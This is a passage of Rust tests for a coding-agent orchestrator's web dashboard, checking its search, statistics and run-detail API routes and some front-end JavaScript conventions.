16694        assert!(hit_len(&parts) > 0, "{parts:?}");
16695        assert!(total(&parts) <= cap);
16696
16697        // A short hit, then one straddling the window's end.
16698        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16699        let term = format!("ab{}", "c".repeat(100));
16700        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16701        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16702        assert!(total(&parts) <= cap);
16703
16704        // Only the head matches: not highlighted.
16705        let text = format!("{}z", "a".repeat(119));
16706        let parts = snippet_of(&text, &["a".repeat(120)]);
16707        assert_eq!(hit_len(&parts), 0, "{parts:?}");
16708    }
16709
16710    #[tokio::test]
16711    async fn search_caps_hits_and_snippet_length() {
16712        let f = Fixture::start().await;
16713        let runs = f.runs();
16714        for n in 0..(SEARCH_MAX_HITS + 5) {
16715            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16716        }
16717        let v = f.get("/api/search?scope=runs&q=web").await.json();
16718        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16719        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16720        assert_eq!(v["truncated"], true);
16721        // Every listed run hit carries its list row for the page's filters.
16722        assert!(
16723            v["hits"]
16724                .as_array()
16725                .unwrap()
16726                .iter()
16727                .all(|h| h["run"]["status"] == "merged")
16728        );
16729
16730        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16731        let parts = snippet_of(&long, &["needle".to_owned()]);
16732        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16733        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16734        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16735    }
16736
16737    #[tokio::test]
16738    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16739        let f = Fixture::start().await;
16740        let queue = f.queue();
16741        let mut t = Task::new(
16742            "short title".to_owned(),
16743            "line one\nthe hidden Armadillo detail".to_owned(),
16744            PathBuf::from("/repo/magi"),
16745            Source::Agent {
16746                run: "r1".to_owned(),
16747                node: "chat".to_owned(),
16748            },
16749        );
16750        t.last_error = Some("disk full on /tmp".to_owned());
16751        queue.put(&mut t).expect("file the task");
16752
16753        for (q, want) in [
16754            ("armadillo", 1),
16755            ("disk%20FULL", 1),
16756            ("chat", 1),
16757            ("queued", 1),
16758            ("short%20nothing", 0),
16759        ] {
16760            let v = f
16761                .get(&format!("/api/search?scope=tasks&q={q}"))
16762                .await
16763                .json();
16764            assert_eq!(v["total"], want, "{q}: {v}");
16765        }
16766        for bad in [
16767            "/api/search?scope=tasks&q=",
16768            "/api/search?scope=tasks&q=%20",
16769            "/api/search?scope=chats&q=",
16770            "/api/search?scope=chats&q=%20",
16771            "/api/search?scope=nope&q=a",
16772            "/api/search?q=a",
16773        ] {
16774            assert_eq!(f.get(bad).await.status, 400, "{bad}");
16775        }
16776    }
16777
16778    /// Write one conversation file the way the store reads it back.
16779    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16780        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16781            .expect("seat value");
16782        let turns: Vec<serde_json::Value> = turns
16783            .iter()
16784            .map(|(who, body)| {
16785                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16786            })
16787            .collect();
16788        let doc = serde_json::json!({
16789            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16790            "status": status, "turns": turns,
16791            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16792            "seat": seat,
16793        });
16794        let dir = f.home.path().join("talks");
16795        std::fs::create_dir_all(&dir).expect("talks dir");
16796        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16797    }
16798
16799    #[tokio::test]
16800    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16801        let f = Fixture::start().await;
16802        write_talk(
16803            &f,
16804            "20260901-000001-aaaa",
16805            "open",
16806            &[
16807                (
16808                    "operator",
16809                    "\n  Why does the Pangolin cache expire?\nsecond line",
16810                ),
16811                ("agent", "Because the TTL is thirty seconds."),
16812            ],
16813        );
16814        write_talk(
16815            &f,
16816            "20260901-000002-bbbb",
16817            "closed",
16818            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16819        );
16820        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16821
16822        let search = |q: &'static str| {
16823            let f = &f;
16824            async move {
16825                f.get(&format!("/api/search?scope=chats&q={q}"))
16826                    .await
16827                    .json()
16828            }
16829        };
16830
16831        let v = search("PANGOLIN").await;
16832        assert_eq!(v["scope"], "chats");
16833        assert_eq!(v["total"], 1, "{v}");
16834        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16835        assert_eq!(v["hits"][0]["field"], "title");
16836        assert_eq!(v["unreadable"], 1, "{v}");
16837        let marked: Vec<&str> = v["hits"][0]["snippet"]
16838            .as_array()
16839            .unwrap()
16840            .iter()
16841            .filter(|p| p["hit"] == true)
16842            .map(|p| p["text"].as_str().unwrap())
16843            .collect();
16844        assert_eq!(marked, ["Pangolin"]);
16845
16846        // An agent turn, in a closed conversation.
16847        let v = search("zebra").await;
16848        assert_eq!(v["total"], 1, "{v}");
16849        assert_eq!(v["hits"][0]["field"], "agent");
16850        // Words may sit in different turns; all must be present.
16851        assert_eq!(search("pangolin%20thirty").await["total"], 1);
16852        assert_eq!(search("pangolin%20zebra").await["total"], 0);
16853        // Bookkeeping is not searched.
16854        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16855            assert_eq!(search(q).await["total"], 0, "{q}");
16856        }
16857        // The first line only is the title; the second line is still a turn.
16858        assert_eq!(search("second").await["hits"][0]["field"], "operator");
16859        // Open conversations are listed before closed ones.
16860        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16861
16862        let v = f.get("/api/search?scope=nope&q=a").await;
16863        assert_eq!(v.status, 400);
16864        assert!(
16865            v.body.contains("scope must be runs, tasks or chats"),
16866            "{}",
16867            v.body
16868        );
16869    }
16870
16871    #[test]
16872    fn a_question_card_links_a_task_id_to_the_task_page() {
16873        let start = APP_JS
16874            .find("function updateAskCard(")
16875            .expect("updateAskCard exists");
16876        let body = &APP_JS[start..];
16877        let body = &body[..body.find("\n}\n").expect("function end")];
16878        assert!(body.contains("question.run_is_task"));
16879        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16880        assert!(body.contains("`#/runs/${question.run}`"));
16881        assert!(body.contains("\"task\" : \"run\""));
16882    }
16883
16884    #[test]
16885    fn plain_text_message_surfaces_go_through_linkify() {
16886        assert!(APP_JS.contains("function linkify("));
16887        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16888        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16889        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16890        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16891        assert!(!APP_JS.contains("innerHTML = text"));
16892    }
16893
16894    #[test]
16895    fn implementation_rate_views_keep_independent_samples() {
16896        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16897            let a = stats::AgentStats {
16898                competitive_entered: competitive_n,
16899                competitive_wins: usize::from(competitive_n > 0),
16900                solo_entered: solo_n,
16901                solo_adopted: 2 * usize::from(solo_n > 0),
16902                ..Default::default()
16903            };
16904            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16905            for (key, n, numerator) in [
16906                ("competitive_win_rate", competitive_n, a.competitive_wins),
16907                ("solo_adoption_rate", solo_n, a.solo_adopted),
16908            ] {
16909                if n == 0 {
16910                    assert!(v[key].is_null());
16911                } else {
16912                    assert_eq!(v[key]["denominator"], n);
16913                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16914                }
16915            }
16916        }
16917        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16918        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16919        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16920        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16921    }
16922
16923    #[test]
16924    fn stats_bars_share_one_id_keyed_plan() {
16925        let start = APP_JS
16926            .find("function statsBarRows(")
16927            .expect("statsBarRows exists");
16928        let body = &APP_JS[start..];
16929        let body = &body[..body.find("\n}\n").expect("function end")];
16930        assert!(body.contains("statsBarPlan(rows)"));
16931        assert!(body.contains("statsAgentTone(row.agent)"));
16932        assert!(!body.contains("candTone(i)"));
16933        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16934        for root in [
16935            "stats-agents-bars",
16936            "stats-solo-bars",
16937            "stats-reviewers-bars",
16938        ] {
16939            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16940        }
16941    }
16942
16943    #[test]
16944    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16945        let start = APP_JS
16946            .find("function renderStatsReviewerScatter(")
16947            .expect("renderStatsReviewerScatter exists");
16948        let body = &APP_JS[start..];
16949        let body = &body[..body.find("\n}\n").expect("function end")];
16950        assert!(body.contains("statsScatterPlan(reviewers)"));
16951        assert!(body.contains("statsAgentTone(d.agent)"));
16952        assert!(APP_JS.contains("function statsScatterPlan("));
16953        assert!(
16954            APP_JS.contains("d.submitted < STATS_LOW_N")
16955                || APP_JS.contains("r.submitted < STATS_LOW_N")
16956        );
16957        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16958        assert!(APP_CSS.contains(".precision-scatter"));
16959    }
16960
16961    #[test]
16962    fn advisor_reflection_is_drawn_as_stacked_segments() {
16963        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16964        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16965        let html = include_str!("../assets/ui/index.html");
16966        assert!(html.contains("Approximate"));
16967        for label in ["reflected strongly", "faint", "no proposal"] {
16968            assert!(html.contains(label));
16969        }
16970        let css = include_str!("../assets/ui/app.css");
16971        for c in ["refl-strong", "refl-faint", "refl-absent"] {
16972            assert!(css.contains(&format!(".{c} {{")));
16973        }
16974    }
16975
16976    #[test]
16977    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16978        assert!(APP_JS.contains("function statsDailyPlan("));
16979        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16980        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16981    }
16982
16983    #[test]
16984    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16985        let start = APP_JS
16986            .find("function scheduleSearch(")
16987            .expect("scheduleSearch exists");
16988        let body = &APP_JS[start..];
16989        let body = &body[..body.find("\n}\n").expect("function end")];
16990        assert!(body.contains("s.seq += 1"));
16991    }
16992
16993    /// The dashboard reads every run's state itself rather than trusting a
16994    /// separately-maintained count, so an unreadable run must be counted the
16995    /// same way `/api/health` counts it - never silently dropped the way the
16996    /// CLI's own `stats::load_all` drops it.
16997    #[tokio::test]
16998    async fn stats_runs_unreadable_matches_health() {
16999        let f = Fixture::start().await;
17000        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17001        let broken = f.runs().join("20260902-140502-bad");
17002        std::fs::create_dir_all(&broken).expect("run dir");
17003        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17004
17005        let stats = f.get("/api/stats").await;
17006        let health = f.get("/api/health").await;
17007
17008        assert_eq!(stats.status, 200);
17009        assert_eq!(stats.json()["totals"]["runs"], 1);
17010        assert_eq!(stats.json()["runs_unreadable"], 1);
17011        assert_eq!(
17012            stats.json()["runs_unreadable"],
17013            health.json()["runs_unreadable"],
17014            "the dashboard and /api/health must never disagree about how many \
17015             runs could not be read"
17016        );
17017    }
17018
17019    #[tokio::test]
17020    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17021        let f = Fixture::start().await;
17022        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17023        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17024        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17025
17026        let totals = &f.get("/api/stats").await.json()["totals"];
17027        assert_eq!(totals["runs"], 3);
17028        assert_eq!(totals["merged"], 1);
17029        assert_eq!(totals["stalled"], 1);
17030        assert_eq!(totals["in_progress"], 1);
17031        // A stalled run must never read as blocked/merged/ready - it is its
17032        // own bucket, not folded into a "decided" one.
17033        assert_eq!(totals["blocked"], 0);
17034        assert_eq!(totals["ready"], 0);
17035    }
17036
17037    #[tokio::test]
17038    async fn stats_advisors_report_proposals_and_reflection() {
17039        use crate::advise::{Advice, AdvisorRecord, Reflection};
17040        use crate::verdict::Proposal;
17041
17042        let f = Fixture::start().await;
17043        let mut state = RunState::new(
17044            PathBuf::from("/repo/magi"),
17045            "main".to_owned(),
17046            "0123456789abcdef".to_owned(),
17047            "task".to_owned(),
17048            Config::default(),
17049        );
17050        state.id = "20260902-140501-a".to_owned();
17051        state.status = RunStatus::Merged;
17052        state.advice = Some(Advice {
17053            records: vec![
17054                AdvisorRecord {
17055                    seat: "advisor-1".to_owned(),
17056                    agent: "alpha".to_owned(),
17057                    proposal: Some(Proposal {
17058                        approach: "do it".to_owned(),
17059                        key_tradeoff: "speed over memory".to_owned(),
17060                        risks: Vec::new(),
17061                        touches: Vec::new(),
17062                        why_not_naive: "breaks under load".to_owned(),
17063                    }),
17064                    error: None,
17065                    duration_ms: 0,
17066                    reflection: Reflection::Strong,
17067                },
17068                AdvisorRecord {
17069                    seat: "advisor-2".to_owned(),
17070                    agent: "alpha".to_owned(),
17071                    proposal: None,
17072                    error: Some("timed out".to_owned()),
17073                    duration_ms: 0,
17074                    reflection: Reflection::Absent,
17075                },
17076            ],
17077            synthesis: Some("blended brief".to_owned()),
17078        });
17079        let dir = f.runs().join(&state.id);
17080        std::fs::create_dir_all(&dir).expect("run dir");
17081        std::fs::write(
17082            dir.join("run.json"),
17083            serde_json::to_string_pretty(&state).expect("serialize run"),
17084        )
17085        .expect("write run.json");
17086
17087        // `alpha` is in no roster here; this test is about the rates.
17088        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17089        let alpha = advisors
17090            .as_array()
17091            .expect("an array")
17092            .iter()
17093            .find(|a| a["agent"] == "alpha")
17094            .expect("alpha row");
17095        assert_eq!(alpha["seated"], 2);
17096        assert_eq!(alpha["proposed"], 1);
17097        assert_eq!(alpha["absent"], 1);
17098        assert_eq!(alpha["strong"], 1);
17099        assert_eq!(alpha["faint"], 0);
17100        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17101    }
17102
17103    #[tokio::test]
17104    async fn stats_hides_agents_outside_the_roster_unless_all() {
17105        use crate::run::Candidate;
17106        let repo = TempDir::new().expect("repo dir");
17107        std::fs::write(
17108            repo.path().join("magi.toml"),
17109            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17110        )
17111        .expect("magi.toml");
17112        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17113        let mut state = RunState::new(
17114            PathBuf::from("/repo/magi"),
17115            "main".to_owned(),
17116            "0123456789abcdef".to_owned(),
17117            "task".to_owned(),
17118            Config::default(),
17119        );
17120        state.id = "20260902-140501-a".to_owned();
17121        state.status = RunStatus::Merged;
17122        for (label, agent) in [('A', "keep"), ('B', "retired")] {
17123            let mut c: Candidate = serde_json::from_value(serde_json::json!({
17124                "index": 0, "label": label.to_string(), "agent": agent,
17125                "branch": "b", "worktree": "/w",
17126            }))
17127            .expect("candidate");
17128            c.label = label;
17129            state.candidates.push(c);
17130        }
17131        let dir = f.runs().join(&state.id);
17132        std::fs::create_dir_all(&dir).expect("run dir");
17133        std::fs::write(
17134            dir.join("run.json"),
17135            serde_json::to_string_pretty(&state).expect("serialize run"),
17136        )
17137        .expect("write run.json");
17138
17139        let agents_of = |v: &serde_json::Value| -> Vec<String> {
17140            v["agents"]
17141                .as_array()
17142                .expect("array")
17143                .iter()
17144                .map(|a| a["agent"].as_str().unwrap().to_owned())
17145                .collect()
17146        };
17147        let hidden = f.get("/api/stats").await.json();
17148        assert_eq!(agents_of(&hidden), ["keep"]);
17149        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17150        assert_eq!(hidden["totals"]["runs"], 1);
17151
17152        let all = f.get("/api/stats?all=true").await.json();
17153        assert_eq!(agents_of(&all).len(), 2);
17154        assert_eq!(all["retired_hidden"], serde_json::json!([]));
17155        // Verify competitive and solo keys exist on agent entries
17156        let keep_agent = all["agents"]
17157            .as_array()
17158            .unwrap()
17159            .iter()
17160            .find(|a| a["agent"] == "keep")
17161            .unwrap();
17162        assert_eq!(keep_agent["competitive_entered"], 1);
17163        assert_eq!(keep_agent["competitive_wins"], 0);
17164        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
17165        assert_eq!(keep_agent["solo_entered"], 0);
17166        assert_eq!(keep_agent["solo_adopted"], 0);
17167        assert!(keep_agent["solo_adoption_rate"].is_null());
17168    }
17169
17170    #[tokio::test]
17171    async fn stats_release_bumps_split_clean_from_attention() {
17172        use crate::run::ReleaseBump;
17173
17174        let f = Fixture::start().await;
17175
17176        let mut clean = RunState::new(
17177            PathBuf::from("/repo/magi"),
17178            "main".to_owned(),
17179            "0123456789abcdef".to_owned(),
17180            "task".to_owned(),
17181            Config::default(),
17182        );
17183        clean.id = "20260902-140501-a".to_owned();
17184        clean.status = RunStatus::Merged;
17185        clean.release_bump = Some(ReleaseBump {
17186            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
17187            version: Some("1.0.0".to_owned()),
17188            automerge_enabled: true,
17189            merged_directly: false,
17190            local: false,
17191            release: None,
17192            problem: None,
17193            action_required: None,
17194        });
17195
17196        let mut blocked = RunState::new(
17197            PathBuf::from("/repo/magi"),
17198            "main".to_owned(),
17199            "0123456789abcdef".to_owned(),
17200            "task".to_owned(),
17201            Config::default(),
17202        );
17203        blocked.id = "20260902-140502-b".to_owned();
17204        blocked.status = RunStatus::Merged;
17205        blocked.release_bump = Some(ReleaseBump {
17206            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
17207            version: Some("1.0.1".to_owned()),
17208            automerge_enabled: false,
17209            merged_directly: false,
17210            local: false,
17211            release: None,
17212            problem: Some("checks red".to_owned()),
17213            action_required: Some("look at the PR".to_owned()),
17214        });
17215
17216        for state in [&clean, &blocked] {
17217            let dir = f.runs().join(&state.id);
17218            std::fs::create_dir_all(&dir).expect("run dir");
17219            std::fs::write(
17220                dir.join("run.json"),
17221                serde_json::to_string_pretty(state).expect("serialize run"),
17222            )
17223            .expect("write run.json");
17224        }
17225
17226        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17227        assert_eq!(bumps["merged"], 2);
17228        assert_eq!(bumps["recorded"], 2);
17229        assert_eq!(bumps["pr_opened"], 2);
17230        assert_eq!(bumps["automerge_enabled"], 1);
17231        assert_eq!(bumps["needs_attention"], 1);
17232        assert_eq!(bumps["clean"], 1);
17233        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
17234        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
17235    }
17236
17237    #[tokio::test]
17238    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
17239        let f = Fixture::start().await;
17240        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17241
17242        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17243        assert_eq!(bumps["merged"], 1);
17244        assert_eq!(bumps["recorded"], 0);
17245        // `merged` is nonzero, so coverage still reads as a real 0%, not an
17246        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
17247        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
17248        // `pr_opened` and `recorded` are both zero here, so these rates have
17249        // no denominator to compute from and must be null.
17250        assert_eq!(bumps["automerge_rate"], Value::Null);
17251        assert_eq!(bumps["attention_rate"], Value::Null);
17252    }
17253
17254    #[tokio::test]
17255    async fn stats_queue_counts_come_from_the_live_queue() {
17256        let f = Fixture::start().await;
17257        let q = f.queue();
17258        let mut queued = Task::new(
17259            "queued task".to_owned(),
17260            "do it".to_owned(),
17261            PathBuf::from("/repo"),
17262            Source::Human,
17263        );
17264        q.put(&mut queued).expect("put queued");
17265        let mut held = Task::new(
17266            "held task".to_owned(),
17267            "do it later".to_owned(),
17268            PathBuf::from("/repo"),
17269            Source::Human,
17270        );
17271        held.hold_machine(Some("out of attempts".to_owned()));
17272        q.put(&mut held).expect("put held");
17273
17274        let queue = f.get("/api/stats").await.json()["queue"].clone();
17275        assert_eq!(queue["queued"], 1);
17276        assert_eq!(queue["held"], 1);
17277        assert_eq!(queue["running"], 0);
17278        assert_eq!(queue["done"], 0);
17279        assert_eq!(queue["failed"], 0);
17280        assert_eq!(queue["blocked"], 0);
17281    }
17282
17283    #[tokio::test]
17284    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
17285        let f = Fixture::start().await;
17286        let stats = f.get("/api/stats").await;
17287        assert_eq!(stats.status, 200);
17288        assert_eq!(stats.json()["totals"]["runs"], 0);
17289        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
17290        assert_eq!(stats.json()["runs_unreadable"], 0);
17291        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
17292        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
17293        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
17294        assert_eq!(stats.json()["repo"], Value::Null);
17295    }
17296
17297    #[tokio::test]
17298    async fn stats_lists_every_repository_with_runs_recorded() {
17299        let f = Fixture::start().await;
17300        write_run_repo(
17301            &f.runs(),
17302            "20260902-140501-a",
17303            RunStatus::Merged,
17304            "/repos/a",
17305        );
17306        write_run_repo(
17307            &f.runs(),
17308            "20260902-140502-b",
17309            RunStatus::Merged,
17310            "/repos/a",
17311        );
17312        write_run_repo(
17313            &f.runs(),
17314            "20260902-140503-c",
17315            RunStatus::Blocked,
17316            "/repos/b",
17317        );
17318
17319        let stats = f.get("/api/stats").await;
17320        assert_eq!(stats.status, 200);
17321        // Unfiltered - the aggregate across both repositories.
17322        assert_eq!(stats.json()["totals"]["runs"], 3);
17323        assert_eq!(stats.json()["repo"], Value::Null);
17324
17325        let repos = stats.json()["repos"].clone();
17326        let repos = repos.as_array().unwrap();
17327        assert_eq!(repos.len(), 2);
17328        // Busiest (2 runs) first.
17329        assert_eq!(repos[0]["repo"], "/repos/a");
17330        assert_eq!(repos[0]["name"], "a");
17331        assert_eq!(repos[0]["runs"], 2);
17332        assert_eq!(repos[1]["repo"], "/repos/b");
17333        assert_eq!(repos[1]["runs"], 1);
17334    }
17335
17336    #[tokio::test]
17337    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
17338        let f = Fixture::start().await;
17339        write_run_repo(
17340            &f.runs(),
17341            "20260902-140501-a",
17342            RunStatus::Merged,
17343            "/repos/a",
17344        );
17345        write_run_repo(
17346            &f.runs(),
17347            "20260902-140502-b",
17348            RunStatus::Blocked,
17349            "/repos/b",
17350        );
17351
17352        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
17353        assert_eq!(stats.status, 200);
17354        assert_eq!(stats.json()["totals"]["runs"], 1);
17355        assert_eq!(stats.json()["totals"]["merged"], 1);
17356        assert_eq!(stats.json()["repo"], "/repos/a");
17357        // The repository list itself is unaffected by the filter - it is
17358        // what a client switches repositories from.
17359        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
17360        // runs_unreadable is a whole-workload count, never scoped to the
17361        // selected repository - see StatsView::runs_unreadable's own doc.
17362        assert_eq!(stats.json()["runs_unreadable"], 0);
17363    }
17364
17365    #[tokio::test]
17366    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
17367        let f = Fixture::start().await;
17368        write_run_repo(
17369            &f.runs(),
17370            "20260902-140501-a",
17371            RunStatus::Merged,
17372            "/repos/a",
17373        );
17374        write_run_repo(
17375            &f.runs(),
17376            "20260902-140502-b",
17377            RunStatus::Merged,
17378            "/repos/b",
17379        );
17380
17381        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
17382            let json = f.get(uri).await.json();
17383            let daily = json["daily"].as_array().expect("daily is an array");
17384            assert_eq!(daily.len(), 30);
17385            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
17386            let mut sorted = dates.clone();
17387            sorted.sort();
17388            assert_eq!(dates, sorted);
17389            for d in daily {
17390                assert_eq!(
17391                    d["merged"].as_u64().unwrap()
17392                        + d["ready"].as_u64().unwrap()
17393                        + d["other"].as_u64().unwrap(),
17394                    d["runs"].as_u64().unwrap()
17395                );
17396            }
17397            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
17398        }
17399    }
17400
17401    #[tokio::test]
17402    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
17403        let f = Fixture::start().await;
17404        write_run_repo(
17405            &f.runs(),
17406            "20260902-140501-a",
17407            RunStatus::Merged,
17408            "/repos/a",
17409        );
17410
17411        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
17412        assert_eq!(stats.status, 404);
17413    }
17414
17415    #[tokio::test]
17416    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
17417        let f = Fixture::start().await;
17418        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
17419
17420        let summary = f.get("/api/runs").await.json();
17421        let row = &summary[0];
17422        assert_eq!(row["short"], "a1b2");
17423        assert_eq!(row["status"], "ready");
17424        assert_eq!(row["done"], true);
17425        assert_eq!(row["title"], "Add a web UI");
17426        assert_eq!(row["repo_name"], "magi");
17427        assert_eq!(row["judges"], 3);
17428        assert_eq!(row["winner"], Value::Null);
17429        assert_eq!(row["reviews"], 0);
17430
17431        // The short id resolves, and the detail route is the state itself, not
17432        // a projection of it: the UI reads fields the summary does not carry.
17433        let detail = f.get("/api/runs/a1b2").await;
17434        assert_eq!(detail.status, 200);
17435        assert_eq!(detail.json()["base_branch"], "main");
17436        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
17437    }
17438
17439    /// `status: "ready"` alone cannot tell a run still headed for a landing
17440    /// (a PR closed without merging, say) apart from one `[merge] mode =
17441    /// "none"` left unmerged for good — the confusion the operator flagged
17442    /// after the CLI report already grew a `not landed — nothing to do by
17443    /// design` line for exactly this case (`report.rs`). Both the list route
17444    /// and the detail route must carry a flag the phone can key on instead of
17445    /// re-deriving it from `status` + `merge.mode` itself.
17446    #[tokio::test]
17447    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
17448        let f = Fixture::start().await;
17449
17450        let mut none_run = RunState::new(
17451            PathBuf::from("/repo/magi"),
17452            "main".to_owned(),
17453            "0123456789abcdef".to_owned(),
17454            "Add a web UI".to_owned(),
17455            Config::default(),
17456        );
17457        none_run.id = "20260902-140503-none".to_owned();
17458        none_run.status = RunStatus::Ready;
17459        none_run.merge = Some(crate::run::MergeOutcome {
17460            mode: crate::config::MergeMode::None,
17461            ok: true,
17462            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
17463            empty: false,
17464        });
17465        write_state(&f.runs(), &none_run);
17466
17467        let mut pr_run = RunState::new(
17468            PathBuf::from("/repo/magi"),
17469            "main".to_owned(),
17470            "0123456789abcdef".to_owned(),
17471            "Add a web UI".to_owned(),
17472            Config::default(),
17473        );
17474        pr_run.id = "20260902-140504-prcl".to_owned();
17475        pr_run.status = RunStatus::Ready;
17476        pr_run.merge = Some(crate::run::MergeOutcome {
17477            mode: crate::config::MergeMode::Pr,
17478            ok: false,
17479            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
17480            empty: false,
17481        });
17482        write_state(&f.runs(), &pr_run);
17483
17484        let summary = f.get("/api/runs").await.json();
17485        let rows: std::collections::HashMap<&str, &Value> = summary
17486            .as_array()
17487            .expect("an array")
17488            .iter()
17489            .map(|r| (r["id"].as_str().expect("an id"), r))
17490            .collect();
17491        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
17492        assert_eq!(
17493            rows[none_run.id.as_str()]["unmerged_by_design"],
17494            true,
17495            "a mode-none Ready must be flagged in the list"
17496        );
17497        assert_eq!(
17498            rows[pr_run.id.as_str()]["unmerged_by_design"],
17499            false,
17500            "a Ready reached by a closed pull request is a different case"
17501        );
17502
17503        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
17504        assert_eq!(none_detail["status"], "ready");
17505        assert_eq!(none_detail["unmerged_by_design"], true);
17506
17507        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
17508        assert_eq!(pr_detail["unmerged_by_design"], false);
17509    }
17510
17511    /// `RunState::active` is only ever cleared by whoever populated it, so the
17512    /// detail route also has to say whether a daemon is actually still
17513    /// driving this run right now — otherwise a seat from a killed process's
17514    /// last wave would read as live forever.
17515    #[tokio::test]
17516    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
17517        let f = Fixture::start().await;
17518        // Matches `write_daemon`'s hard-coded `current.run`, so the second
17519        // half of this test can claim the daemon is working on it without a
17520        // second helper.
17521        let id = "20260902-140502-bbbb";
17522        let mut state = RunState::new(
17523            PathBuf::from("/repo/magi"),
17524            "main".to_owned(),
17525            "0123456789abcdef".to_owned(),
17526            "Add a web UI".to_owned(),
17527            Config::default(),
17528        );
17529        state.id = id.to_owned();
17530        state.status = RunStatus::Judging;
17531        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
17532        let dir = f.runs().join(id);
17533        std::fs::create_dir_all(&dir).expect("run dir");
17534        std::fs::write(
17535            dir.join("run.json"),
17536            serde_json::to_string_pretty(&state).expect("serialize run"),
17537        )
